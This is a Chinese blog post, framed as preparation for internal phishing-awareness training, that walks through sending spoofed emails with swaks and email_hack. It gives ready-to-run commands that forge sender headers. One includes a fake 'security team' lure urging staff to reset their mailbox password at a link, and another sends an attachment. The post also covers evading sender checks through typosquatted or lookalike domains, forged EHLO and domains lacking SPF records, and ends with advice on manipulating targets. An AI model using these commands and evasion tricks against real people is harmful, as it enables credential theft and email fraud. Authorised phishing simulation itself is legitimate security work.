0x00 前情提要
最近公司一直在做护网的前期准备,安全部准备给同事们组织一次安全培训,其中一项内容就是给大家发送钓鱼邮件看同事是否会上钩。这个任务就落在了我的身上。
0x01 初次尝试
在网上看些技术文章,初步把实现工具定在swaks和email_hack这两个上。先介绍一下这两个工具的初步使用。我首先用的email_hack,工具的下载地址:https://github.com/Macr0phag3/email_hack。用法也很简单:
python email_hacker.py -faddr hr@×××.com -taddr ×××@×××.com -s "薪水调整通知" -b "×××您好:\n根据您近期的表现,公司决定涨薪3000元,以资鼓励。”
参数说明:
-h, --help 输出帮助信息
-faddr FROM_ADDRESS, --from_address FROM_ADDRESS 伪造的来源邮件地址
-taddr TO_ADDRESS, --to_address TO_ADDRESS 接收方的邮件地址
-s SUBJECT, --subject SUBJECT 邮件主题
-b BODY, --body BODY 邮件正文
查看效果:
发是发了,但是最后有个随机码。这不是影响我骗人吗?查看源代码
把这一段删了,但是随机数后面还有个“.”,这个不能删除,删除了邮件发送失败,因为临近下班,我也没仔细找原因。
还有就是有两个可以申请10分钟邮箱的网址供大家使用:
https://10minutemail.com/ 支持英文,需××
https://bccto.me 支持中英文
再来说swaks,这是kali里自带的一款工具,比较全的命令格式如下:
swaks --to kali@bccto.me --from sec@china.com --h-From: '"集团安全组" <sec@china.com>' --ehlo china.com --body "各位同事好:\n接集团通知,配合护网行动,所 有员工需要修改邮箱密码,请访问内网邮箱密码重置链接http://172.16.1.203/*******进行修改。修改完成后请回复该邮件。\n\n\n_____________________________\n\n**************************\n\n集团安全组\n\n某某集团\n16601125423\nsec@china.com\n***************************\n如果您错误接收了该邮件,请通过电子邮件立即通知我们。请回复邮件到sec@china.com,即可以退订此邮件。我们将立即将您的信息从我们的发送目录中删除。If you have received this email in error please notify us immediately by e-mail. Please reply to sec@china.com ,you can unsubscribe from this mail. We will immediately remove your information from send catalogue of our." --header "Subject: 关于切实落实总公司护网行动的通知"
效果如图:
如果给人家限定24小时修改,在这个时期容易被当做钓鱼邮件处理,还是让修改后回复邮件吧。
如果需要带附件,可以使用--attach参数:
swaks --to xxx.xxx@xxxxx.cn --from admin@xxxxx.cn --header "Subject:通知" --attach ./hc.doc --body "各位,请下载附件使用"
我们也可以使用--data参数引用一个源邮件,但是会提示收件人这个邮件是由他人代发的:
拷贝原文保存成一个email.txt的文件,删除其中的received、to、from等我们不需要的字段,使用命令:
swaks --data ./email.txt --to xxxx@china.com --from hr@china.com
但是最终会提示用户,该邮件由他人代发。
0x02 可能遇到的问题
在我尝试的一些邮箱中,qq邮箱不能发送,但是我们公司邮箱和263邮箱可以成功发送。在发送失败之后,我们根据提示可以分析为什么没有发送成功,这点263邮箱比较好,有提示。但是qq邮箱和我们公司邮箱值回复250发送成功,但是到不了用户手里。我所遇到的三个问题
1、同公司的邮箱地址发,比如伪装成admin@china.com给ppp@china.com发邮件,会有两种结果。我们的公司邮箱,第一次发送成功,但是之后就收不到了。如果是263邮箱,会提示你需要验证,如下图:。
我感觉是因为发送人邮箱是归这个SMTP服务器管的,所以它能去认证一下这个IP上该用户的登录状态。这种的解决措施就是发送人的邮箱换个地址,这样就不能做认证了,比如admin@chiina.com,仅仅是多加了一个“i”,他们应该也不会发现吧[偷笑]。
2、有的服务器会验证邮件的来源地址和邮箱域名绑定的IP是不是一致的,如图:
这种的只会匹配知名邮箱,所以别用qq.com,163.com等知名邮箱就有可能绕过,比如qq1.com,1633.com。
3、这种的很少见,验证EHLO头信息。这种就根据上面--ehlo 域名就可以绕过。这也是上面为啥添加--ehlo参数的原因,但是大多数情况下加不加没啥区别。
4、使用SPF、DKIM和DMARC
SPF 是为了防范垃圾邮件而提出来的一种 DNS 记录类型,它是一种 TXT 类型的记录,它用于登记某个域名拥有的用来外发邮件的所有 IP 地址,如果声称的域名和IP一致则放行,不一致则丢弃。但是对于没有记录的域名呢,可以试试,就比如上面问题2所示,就是放行了。
还有一种就是登录邮箱服务器,使用正常的邮箱地址进行邮件发送进行绕过,格式如下:
swaks --to ×××@qq.com --from 正常地址 --h-From: '管理员<admin@qq.com>' --ehlo qq.com --body hello --server 邮件服务器 -p 25 -au <USER> -ap <PASSS>
这种方式也会提示用户由某某代发。
DKIM 是一种防范电子邮件欺诈的验证技术,通过消息加密认证的方式对邮件发送域名进行验证。
DMARC 是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议,在邮件收发双方建立了邮件反馈机制,便于邮件发送方和邮件接收方共同对域名的管理进行完善和监督。
这两种就不说了,光看协议的简介就知道,这不是我能绕过的。
0x03 合格的钓鱼邮件
这里其实算是钓鱼邮件的核心。我们可以通过技术发送给受害者邮件,但是我们最终的目的是想让用户点击链接或者下载运行软件。这就需要攻破受害者的心里防线,让他真正感觉到我就该点这个链接,我就该运行这个软件。头一段收到一封邮件,说是开学了,教务处发的通知,你说这邮件我能点吗?我们要了解我们的攻击对象,比如,他是哪儿个公司的,他们公司最近在干啥,最好知道他们公司内部邮件有没有什么特定格式,行文风格。这一块我就不细说了,https://blog.csdn.net/yiifaa/article/details/78471241这篇文章写的很细,大家可以看看。
0x04 写在最后
这篇文章是为了做公司内部员工安全意识培训所写的,请不要用来做非法用途。
长按下方图片关注我们: